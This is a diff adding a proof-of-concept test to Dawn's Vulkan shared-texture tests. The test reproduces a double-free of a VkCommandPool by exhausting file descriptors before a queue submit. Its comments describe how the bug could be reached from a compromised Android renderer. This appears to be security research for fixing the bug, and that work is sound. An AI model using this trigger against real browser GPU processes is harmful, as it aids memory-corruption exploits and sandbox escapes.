diff --git a/src/dawn/tests/white_box/SharedTextureMemoryTests_opaquefd.cpp b/src/dawn/tests/white_box/SharedTextureMemoryTests_opaquefd.cpp index 71d313a3923..b20c9bf9507 100644 --- a/src/dawn/tests/white_box/SharedTextureMemoryTests_opaquefd.cpp +++ b/src/dawn/tests/white_box/SharedTextureMemoryTests_opaquefd.cpp @@ -27,6 +27,9 @@ #include +#include +#include + #include #include #include @@ -500,6 +503,110 @@ TEST_P(SharedTextureMemoryOpaqueFDValidationTest, ViewFormatRequirements) { } } +// ============================================================================= +// POC: VkCommandPool double-destroy when OnAfterSubmit() fails after +// TrackSerialTask registration. +// +// Repro of CWE-415 in dawn::native::vulkan::Queue::SubmitPendingCommandsImpl. +// After vkQueueSubmit succeeds, a TrackSerialTask is registered that will push +// {pool,buffer} to mUnusedCommands on completion. If a subsequent +// texture->OnAfterSubmit() then fails (here: vkGetSemaphoreFdKHR fails under FD +// exhaustion), control returns BEFORE mRecordingContext is reset. HandleError +// then calls WaitForIdleForDestruction, which: +// (a) sees mRecordingContext.used==true and pushes {pool,buffer} (#1), then +// (b) drains the TrackSerialTask, pushing {pool,buffer} again (#2). +// On device.Destroy(), Queue::DestroyImpl iterates mUnusedCommands and calls +// vkFreeCommandBuffers + vkDestroyCommandPool twice on the same handle -> +// driver-heap UAF / double-free. With the ASAN-instrumented SwiftShader driver +// this manifests as heap-use-after-free. +// +// In production this is reachable from a compromised renderer on Android by +// spamming AHardwareBuffer SharedImage creation to exhaust the GPU-process FD +// table; this test models that by exhausting the test process FD table. +// ============================================================================= +class VulkanCommandPoolDoubleDestroyTest : public SharedTextureMemoryTests {}; +GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(VulkanCommandPoolDoubleDestroyTest); + +TEST_P(VulkanCommandPoolDoubleDestroyTest, DoubleDestroyOnExportSemaphoreFailure) { + // 1. Create a SharedTextureMemory backed by an opaque FD and a texture from + // it. BeginAccess so the texture is in PendingAcquire state -> any use in + // a command will add it to recordingContext->specialSyncTextures. + wgpu::SharedTextureMemory memory = + GetParam().mBackend->CreateSharedTextureMemory(device, GetParam().mLayerCount); + wgpu::Texture texture = memory.CreateTexture(); + + wgpu::SharedTextureMemoryBeginAccessDescriptor beginDesc = {}; + beginDesc.concurrentRead = false; + beginDesc.initialized = true; + auto backendBeginState = GetParam().mBackend->ChainInitialBeginState(&beginDesc); + ASSERT_TRUE(memory.BeginAccess(texture, &beginDesc)); + + // 2. Record a trivial command that uses the texture (texture->buffer copy). + // This causes ImportedTextureBase::TweakTransition to insert the texture + // into specialSyncTextures so OnBeforeSubmit/OnAfterSubmit run on submit. + wgpu::CommandEncoder encoder = device.CreateCommandEncoder(); + wgpu::TexelCopyTextureInfo source; + source.texture = texture; + wgpu::BufferDescriptor bufferDesc; + bufferDesc.size = 128; + bufferDesc.usage = wgpu::BufferUsage::CopyDst; + wgpu::TexelCopyBufferInfo destination; + destination.buffer = device.CreateBuffer(&bufferDesc); + wgpu::Extent3D size = {1, 1, 1}; + encoder.CopyTextureToBuffer(&source, &destination, &size); + wgpu::CommandBuffer commandBuffer = encoder.Finish(); + + // 3. Exhaust the process file-descriptor table. vkCreateSemaphore and + // vkQueueSubmit do not allocate FDs so they will still succeed, but + // vkGetSemaphoreFdKHR (called from ImportedTextureBase::OnAfterSubmit -> + // ExportSemaphore) will fail with EMFILE -> DAWN_INTERNAL_ERROR. + std::vector exhaustFds; + int devnull = open("/dev/null", O_RDONLY); + ASSERT_GE(devnull, 0); + while (true) { + int fd = dup(devnull); + if (fd < 0) { + break; + } + exhaustFds.push_back(fd); + } + fprintf(stderr, "[POC] FD table exhausted (%zu dups), submitting...\n", exhaustFds.size()); + + // 4. Submit. This synchronously triggers HandleError -> + // WaitForIdleForDestruction, double-tracking {P,B} in mUnusedCommands. + // Expect a real device-lost (reason Unknown) since the Internal error is + // not in the allowed set. + EXPECT_CALL(mDeviceLostCallback, + Call(CHandleIs(device.Get()), wgpu::DeviceLostReason::Unknown, testing::_)) + .Times(testing::AtMost(1)); + device.GetQueue().Submit(1, &commandBuffer); + + // 5. Restore the FD table so subsequent allocator/logging code doesn't fail + // for unrelated reasons before we hit the double-destroy. + for (int fd : exhaustFds) { + close(fd); + } + close(devnull); + fprintf(stderr, "[POC] FD table restored, destroying device...\n"); + + // 6. Drop the device. DeviceBase::Destroy -> mQueue->Destroy() -> + // Queue::DestroyImpl iterates mUnusedCommands and calls + // vkFreeCommandBuffers/vkDestroyCommandPool twice on the same handle. + // With ASAN+SwiftShader this is a heap-use-after-free in + // vk::CommandPool::freeCommandBuffers / vk::destroy. + DestroyDevice(); + + // If we reach here without ASAN tripping, the bug did not reproduce. + fprintf(stderr, "[POC] DestroyDevice returned without ASAN report (bug not reproduced?)\n"); +} + +DAWN_INSTANTIATE_PREFIXED_TEST_P( + Vulkan, + VulkanCommandPoolDoubleDestroyTest, + {VulkanBackend()}, + {Backend::GetInstance()}, + {1}); + DAWN_INSTANTIATE_PREFIXED_TEST_P( Vulkan, SharedTextureMemoryNoFeatureTests,